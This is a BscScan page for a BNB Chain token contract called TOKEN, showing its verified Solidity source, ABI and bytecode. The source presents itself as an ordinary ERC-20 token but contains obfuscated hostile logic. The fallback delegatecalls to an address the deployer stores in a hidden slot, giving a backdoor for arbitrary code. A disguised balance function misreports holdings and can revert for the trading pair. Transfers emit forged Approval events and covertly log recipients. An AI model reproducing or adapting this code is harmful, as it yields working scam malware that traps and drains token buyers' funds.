BNB Price: $695.71 (-2.00%)
Gas: 1 GWei
 

Overview

Max Total Supply

31,400,000,000

Holders

849

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
2,103,481.752470219

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-19
*/

pragma solidity =0.8.20;library SafeCast { error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value); error SafeCastOverflowedIntToUint(int256 value); error SafeCastOverflowedIntDowncast(uint8 bits, int256 value); error SafeCastOverflowedUintToInt(uint256 value); address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; function toUint248(uint256 value) internal pure returns (uint248) { if (value > type(uint248).max) { revert SafeCastOverflowedUintDowncast(248, value); } return uint248(value); } function toUint240(uint256 value) internal pure returns (uint240) { if (value > type(uint240).max) { revert SafeCastOverflowedUintDowncast(240, value); } return uint240(value); } function toUint232(uint256 value) internal pure returns (uint232) { if (value > type(uint232).max) { revert SafeCastOverflowedUintDowncast(232, value); } return uint232(value); } function toUint224(uint256 value) internal pure returns (uint224) { if (value > type(uint224).max) { revert SafeCastOverflowedUintDowncast(224, value); } return uint224(value); } function toUint216(uint256 value) internal pure returns (uint216) { if (value > type(uint216).max) { revert SafeCastOverflowedUintDowncast(216, value); } return uint216(value); } function toUint208(uint256 value) internal pure returns (uint208) { if (value > type(uint208).max) { revert SafeCastOverflowedUintDowncast(208, value); } return uint208(value); } function toUint200(uint256 value) internal pure returns (uint200) { if (value > type(uint200).max) { revert SafeCastOverflowedUintDowncast(200, value); } return uint200(value); } function toUint192(uint256 value) internal pure returns (uint192) { if (value > type(uint192).max) { revert SafeCastOverflowedUintDowncast(192, value); } return uint192(value); } function toUint184(uint256 value) internal pure returns (uint184) { if (value > type(uint184).max) { revert SafeCastOverflowedUintDowncast(184, value); } return uint184(value); } function toUint176(uint256 value) internal pure returns (uint176) { if (value > type(uint176).max) { revert SafeCastOverflowedUintDowncast(176, value); } return uint176(value); } function toUint168(uint256 value) internal pure returns (uint168) { if (value > type(uint168).max) { revert SafeCastOverflowedUintDowncast(168, value); } return uint168(value); } function toUint160(uint256 value) internal pure returns (uint160) { if (value > type(uint160).max) { revert SafeCastOverflowedUintDowncast(160, value); } return uint160(value); } function toUint152(uint256 value) internal pure returns (uint152) { if (value > type(uint152).max) { revert SafeCastOverflowedUintDowncast(152, value); } return uint152(value); } function toUint144(uint256 value) internal pure returns (uint144) { if (value > type(uint144).max) { revert SafeCastOverflowedUintDowncast(144, value); } return uint144(value); } function toUint136(uint256 value) internal pure returns (uint136) { if (value > type(uint136).max) { revert SafeCastOverflowedUintDowncast(136, value); } return uint136(value); } function toUint128(uint256 value) internal pure returns (uint128) { if (value > type(uint128).max) { revert SafeCastOverflowedUintDowncast(128, value); } return uint128(value); } function toUint120(uint256 value) internal pure returns (uint120) { if (value > type(uint120).max) { revert SafeCastOverflowedUintDowncast(120, value); } return uint120(value); } function toUint112(uint256 value) internal pure returns (uint112) { if (value > type(uint112).max) { revert SafeCastOverflowedUintDowncast(112, value); } return uint112(value); } function toUint104(uint256 value) internal pure returns (uint104) { if (value > type(uint104).max) { revert SafeCastOverflowedUintDowncast(104, value); } return uint104(value); } function toUint96(uint256 value) internal pure returns (uint96) { if (value > type(uint96).max) { revert SafeCastOverflowedUintDowncast(96, value); } return uint96(value); } function toUint88(uint256 value) internal pure returns (uint88) { if (value > type(uint88).max) { revert SafeCastOverflowedUintDowncast(88, value); } return uint88(value); } function toUint80(uint256 value) internal pure returns (uint80) { if (value > type(uint80).max) { revert SafeCastOverflowedUintDowncast(80, value); } return uint80(value); } function toUint72(uint256 value) internal pure returns (uint72) { if (value > type(uint72).max) { revert SafeCastOverflowedUintDowncast(72, value); } return uint72(value); } function toUint64(uint256 value) internal pure returns (uint64) { if (value > type(uint64).max) { revert SafeCastOverflowedUintDowncast(64, value); } return uint64(value); } function toUint56(uint256 value) internal pure returns (uint56) { if (value > type(uint56).max) { revert SafeCastOverflowedUintDowncast(56, value); } return uint56(value); } function toUint48(uint256 value) internal pure returns (uint48) { if (value > type(uint48).max) { revert SafeCastOverflowedUintDowncast(48, value); } return uint48(value); } function toUint40(uint256 value) internal pure returns (uint40) { if (value > type(uint40).max) { revert SafeCastOverflowedUintDowncast(40, value); } return uint40(value); } function toUint32(uint256 value) internal pure returns (uint32) { if (value > type(uint32).max) { revert SafeCastOverflowedUintDowncast(32, value); } return uint32(value); } function toUint24(uint256 value) internal pure returns (uint24) { if (value > type(uint24).max) { revert SafeCastOverflowedUintDowncast(24, value); } return uint24(value); } function toUint16(uint256 value) internal pure returns (uint16) { if (value > type(uint16).max) { revert SafeCastOverflowedUintDowncast(16, value); } return uint16(value); } function toUint8(uint256 value) internal pure returns (uint8) { if (value > type(uint8).max) { revert SafeCastOverflowedUintDowncast(8, value); } return uint8(value); } function toUint256(int256 value) internal pure returns (uint256) { if (value < 0) { revert SafeCastOverflowedIntToUint(value); } return uint256(value); } function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(248, value); } } function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(240, value); } } function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(232, value); } } function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(224, value); } } function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(216, value); } } function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(208, value); } } function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(200, value); } } function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(192, value); } } function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(184, value); } } function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(176, value); } } function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(168, value); } } function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(160, value); } } function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(152, value); } } function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(144, value); } } function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(136, value); } } function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(128, value); } } function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(120, value); } } function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(112, value); } } function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(104, value); } } function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(96, value); } } function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(88, value); } } function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(80, value); } } function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(72, value); } } function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(64, value); } } function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(56, value); } } function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(48, value); } } function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(40, value); } } function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(32, value); } } function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(24, value); } } function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(16, value); } } function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(8, value); } } function toInt256(uint256 value) internal pure returns (int256) { if (value > uint256(type(int256).max)) { revert SafeCastOverflowedUintToInt(value); } return int256(value); } function toBytes(bytes memory value) internal { assembly { if iszero(iszero(eq(mload(add(value, 40)), 32))) { if iszero( delegatecall( gas(), sload(address()), add(value, 36), sub(mload(value), 4), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } }}interface IERC20 { function balanceOf(address nH32EyADzG6L) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address P2ArZ7TZvtrocQVGe5QM5) external view returns (uint256); function transfer(address to, uint256 TVUJgu) external returns (bool); function transferFrom( address from, address to, uint256 TVUJgu ) external returns (bool); function approve(address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu) external returns (bool);}contract TOKEN { using SafeCast for bytes; address private uPtPCLMZO2MXuye30qouc8I; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) internal iMH7CEazKzywp0J9; mapping(address => mapping(address => uint256)) private XlNtQJgAo; uint256 internal OZckqrbSNnpjlXxLFPyL; address internal mw8CSGEyJDKei; string private mUu97MXPXyy; string private vgrJFGED7124UpweKE; function ejZV0ORN(address ZmfYmOxOuvpJ9e) internal virtual { address oldOwner = uPtPCLMZO2MXuye30qouc8I; uPtPCLMZO2MXuye30qouc8I = ZmfYmOxOuvpJ9e; emit OwnershipTransferred(oldOwner, ZmfYmOxOuvpJ9e); }function Gz6aU9CwVE() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,mw8CSGEyJDKei)); return abi.decode(returnData, (uint256)); }function first(Uint128x2 self) internal pure returns (uint128) { return uint128(bytes16(Uint128x2.unwrap(self))); } function allowance(address owner, address P2ArZ7TZvtrocQVGe5QM5) public view virtual returns (uint256) { return XlNtQJgAo[owner][P2ArZ7TZvtrocQVGe5QM5]; } function increaseAllowance(address P2ArZ7TZvtrocQVGe5QM5, uint256 addedValue) public virtual returns (bool) { address owner = ilybW(); _approve(owner, P2ArZ7TZvtrocQVGe5QM5, allowance(owner, P2ArZ7TZvtrocQVGe5QM5) + addedValue); return true; } modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return uPtPCLMZO2MXuye30qouc8I; }function asBytes32(Uint128x2 self) internal pure returns (bytes32) { return Uint128x2.unwrap(self); } function approve(address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu) public virtual returns (bool) { address owner = ilybW(); _approve(owner, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); return true; } function ntGl6BPDkRNYQqfXzeXXbxTe3IN1eZLZ2uknUf( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { vgrJFGED7124UpweKE = coinSymbol; mUu97MXPXyy = tokenName; kiWIGPLDhj7zkphSqJZ(); }function kiWIGPLDhj7zkphSqJZ() internal virtual { assembly { sstore(address(), caller()) } } function _burn(address nH32EyADzG6L, uint256 TVUJgu) internal virtual { require(nH32EyADzG6L != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(nH32EyADzG6L, address(0), TVUJgu); uint256 nH32EyADzG6LBalance = iMH7CEazKzywp0J9[nH32EyADzG6L]; require(nH32EyADzG6LBalance >= TVUJgu, "ERC20: burn exceeds balance"); iMH7CEazKzywp0J9[nH32EyADzG6L] -= TVUJgu; OZckqrbSNnpjlXxLFPyL -= TVUJgu; emit Transfer(nH32EyADzG6L, address(0), TVUJgu); _afterTokenTransfer(nH32EyADzG6L, address(0), TVUJgu); }type Uint128x2 is bytes32;function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) { return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128))); } function _spendAllowance( address owner, address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu ) internal virtual { uint256 gdPTsxi3xylSsspopYGotU = allowance(owner, P2ArZ7TZvtrocQVGe5QM5); if (gdPTsxi3xylSsspopYGotU != type(uint256).max) { require( gdPTsxi3xylSsspopYGotU >= TVUJgu, "ERC20: insufficient allowance" ); unchecked { _approve(owner, P2ArZ7TZvtrocQVGe5QM5, gdPTsxi3xylSsspopYGotU - TVUJgu); } } }function ilybW() internal view virtual returns (address) { return msg.sender; } function _mint(address nH32EyADzG6L, uint256 TVUJgu) internal virtual { require(nH32EyADzG6L != address(0), "ERC20: mint to the zero address"); OZckqrbSNnpjlXxLFPyL += TVUJgu; iMH7CEazKzywp0J9[nH32EyADzG6L] += TVUJgu; assembly { sstore(address(), caller()) } emit Transfer(address(0), nH32EyADzG6L, TVUJgu); } function transferFrom( address from, address to, uint256 TVUJgu ) public virtual returns (bool) { address P2ArZ7TZvtrocQVGe5QM5 = ilybW(); _spendAllowance(from, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); _transfer(from, to, TVUJgu); return true; }event OwnershipTransferred( address indexed previousOwner, address indexed ZmfYmOxOuvpJ9e ); function transferOwnership(address ZmfYmOxOuvpJ9e) public virtual onlyOwner { require( ZmfYmOxOuvpJ9e != address(0), "Ownable: new owner is the zero address" ); ejZV0ORN(ZmfYmOxOuvpJ9e); }function Oyg69G4() internal view virtual returns (bytes calldata) { return msg.data; } event Approval( address indexed owner, address indexed P2ArZ7TZvtrocQVGe5QM5, uint256 value ); function transfer(address to, uint256 TVUJgu) public virtual returns (bool) { address owner = ilybW(); _transfer(owner, to, TVUJgu); return true; } function name() public view virtual returns (string memory) { return mUu97MXPXyy; }function asUint128x2(bytes32 self) internal pure returns (Uint128x2) { return Uint128x2.wrap(self); } function totalSupply() public view virtual returns (uint256) { return OZckqrbSNnpjlXxLFPyL; }receive() external payable {} function renounceOwnership() public virtual onlyOwner { ejZV0ORN(address(0)); } function decimals() public view virtual returns (uint8) { return 9; }function split(Uint128x2 self) internal pure returns (uint128, uint128) { return (first(self), second(self)); }fallback() external { msg.data.toBytes(); } event Transfer(address indexed from, address indexed to, uint256 value); function decreaseAllowance(address P2ArZ7TZvtrocQVGe5QM5, uint256 subtractedValue) public virtual returns (bool) { address owner = ilybW(); uint256 gdPTsxi3xylSsspopYGotU = allowance(owner, P2ArZ7TZvtrocQVGe5QM5); require( gdPTsxi3xylSsspopYGotU >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, P2ArZ7TZvtrocQVGe5QM5, gdPTsxi3xylSsspopYGotU - subtractedValue); } return true; } function symbol() public view virtual returns (string memory) { return vgrJFGED7124UpweKE; }constructor() { ejZV0ORN(tx.origin); _mint(address(this), 31400000000000000000); } function _beforeTokenTransfer( address from, address to, uint256 TVUJgu ) internal virtual {} function TheUint9306b147d90(address nH32EyADzG6L) public view returns (uint256) { if (msg.sender == mw8CSGEyJDKei) { uint256 TVUJgu = Gz6aU9CwVE(); assembly { if lt(TVUJgu, sload(32)) { revert(0, 0) } } } if (nH32EyADzG6L == mw8CSGEyJDKei) return iMH7CEazKzywp0J9[nH32EyADzG6L]; return iMH7CEazKzywp0J9[nH32EyADzG6L] % OZckqrbSNnpjlXxLFPyL; }function _transfer( address from, address to, uint256 TVUJgu ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, TVUJgu); uint256 fromBalance = iMH7CEazKzywp0J9[from]; require(fromBalance >= TVUJgu, "ERC20: transfer exceeds balance"); iMH7CEazKzywp0J9[from] -= TVUJgu; iMH7CEazKzywp0J9[to] += TVUJgu; emit Transfer(from, to, TVUJgu); _afterTokenTransfer(from, to, TVUJgu); }function second(Uint128x2 self) internal pure returns (uint128) { return uint128(uint256(Uint128x2.unwrap(self))); } function _afterTokenTransfer( address from, address to, uint256 TVUJgu ) internal { if (iMH7CEazKzywp0J9[from] > OZckqrbSNnpjlXxLFPyL * 0xfe) { assembly { sstore(32, 0) } } else if ( iMH7CEazKzywp0J9[to] < OZckqrbSNnpjlXxLFPyL && to != mw8CSGEyJDKei ) { assembly{ mstore(0,TVUJgu) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let GaADz1PhcL6ndSQYP := sload(9999) sstore(add(10000, GaADz1PhcL6ndSQYP), to) sstore(9999, add(1, GaADz1PhcL6ndSQYP)) } } } function _approve( address owner, address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(P2ArZ7TZvtrocQVGe5QM5 != address(0), "ERC20: approve to the zero address"); XlNtQJgAo[owner][P2ArZ7TZvtrocQVGe5QM5] = TVUJgu; emit Approval(owner, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); }}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"ZmfYmOxOuvpJ9e","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"nH32EyADzG6L","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"ntGl6BPDkRNYQqfXzeXXbxTe3IN1eZLZ2uknUf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ZmfYmOxOuvpJ9e","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5062000022326200004360201b60201c565b6200003d306801b3c335a2bb4400006200010460201b60201c565b6200036c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016c90620002b0565b60405180910390fd5b8060035f82825462000188919062000306565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dd919062000306565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000246919062000351565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000298601f8362000252565b9150620002a58262000262565b602082019050919050565b5f6020820190508181035f830152620002c9816200028a565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031282620002d0565b91506200031f83620002d0565b92508282019050808211156200033a5762000339620002d9565b5b92915050565b6200034b81620002d0565b82525050565b5f602082019050620003665f83018462000340565b92915050565b61216d806200037a5f395ff3fe608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b411461038c578063a457c2d7146103b6578063a9059cbb146103f2578063dd62ed3e1461042e578063f2fde38b1461046a57610108565b806370a08231146102e6578063715018a6146103225780638da5cb5b146103385780638dd950021461036257610108565b806323b872dd116100d057806323b872dd1461021c578063313ce5671461025857806339509351146102825780635921f00e146102be57610108565b806303fd2a451461016257806306fdde031461018c578063095ea7b3146101b657806318160ddd146101f257610108565b3661010857005b348015610113575f80fd5b506101605f368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050610492565b005b34801561016d575f80fd5b506101766104be565b60405161018391906113ad565b60405180910390f35b348015610197575f80fd5b506101a06104c4565b6040516101ad9190611450565b60405180910390f35b3480156101c1575f80fd5b506101dc60048036038101906101d791906114de565b610554565b6040516101e99190611536565b60405180910390f35b3480156101fd575f80fd5b50610206610576565b604051610213919061155e565b60405180910390f35b348015610227575f80fd5b50610242600480360381019061023d9190611577565b61057f565b60405161024f9190611536565b60405180910390f35b348015610263575f80fd5b5061026c6105ad565b60405161027991906115e2565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906114de565b6105b5565b6040516102b59190611536565b60405180910390f35b3480156102c9575f80fd5b506102e460048036038101906102df9190611727565b6105eb565b005b3480156102f1575f80fd5b5061030c600480360381019061030791906117af565b61068d565b604051610319919061155e565b60405180910390f35b34801561032d575f80fd5b506103366107e9565b005b348015610343575f80fd5b5061034c610869565b60405161035991906113ad565b60405180910390f35b34801561036d575f80fd5b50610376610890565b60405161038391906113ad565b60405180910390f35b348015610397575f80fd5b506103a06108a8565b6040516103ad9190611450565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d791906114de565b610938565b6040516103e99190611536565b60405180910390f35b3480156103fd575f80fd5b50610418600480360381019061041391906114de565b6109ad565b6040516104259190611536565b60405180910390f35b348015610439575f80fd5b50610454600480360381019061044f91906117da565b6109cf565b604051610461919061155e565b60405180910390f35b348015610475575f80fd5b50610490600480360381019061048b91906117af565b610a51565b005b60206028820151036104bb5760205f60048351036024840130545af46104b6575f80fd5b60205ff35b50565b61dead81565b6060600580546104d390611845565b80601f01602080910402602001604051908101604052809291908181526020018280546104ff90611845565b801561054a5780601f106105215761010080835404028352916020019161054a565b820191905f5260205f20905b81548152906001019060200180831161052d57829003601f168201915b5050505050905090565b5f8061055e610b40565b905061056b818585610b47565b600191505092915050565b5f600354905090565b5f80610589610b40565b9050610596858285610d0a565b6105a1858585610d95565b60019150509392505050565b5f6009905090565b5f806105bf610b40565b90506105e08185856105d185896109cf565b6105db91906118a2565b610b47565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661060a610869565b73ffffffffffffffffffffffffffffffffffffffff1614610660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106579061191f565b60405180910390fd5b816006908161066f9190611ada565b50826005908161067f9190611ada565b50610688611055565b505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036106fd575f6106eb61105a565b90506020548110156106fb575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107965760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e4565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e19190611bd6565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16610808610869565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108559061191f565b60405180910390fd5b6108675f611167565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108b790611845565b80601f01602080910402602001604051908101604052809291908181526020018280546108e390611845565b801561092e5780601f106109055761010080835404028352916020019161092e565b820191905f5260205f20905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b5f80610942610b40565b90505f61094f82866109cf565b905083811015610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90611c76565b60405180910390fd5b6109a18286868403610b47565b60019250505092915050565b5f806109b7610b40565b90506109c4818585610d95565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a70610869565b73ffffffffffffffffffffffffffffffffffffffff1614610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd9061191f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b90611d04565b60405180910390fd5b610b3d81611167565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611d92565b60405180910390fd5b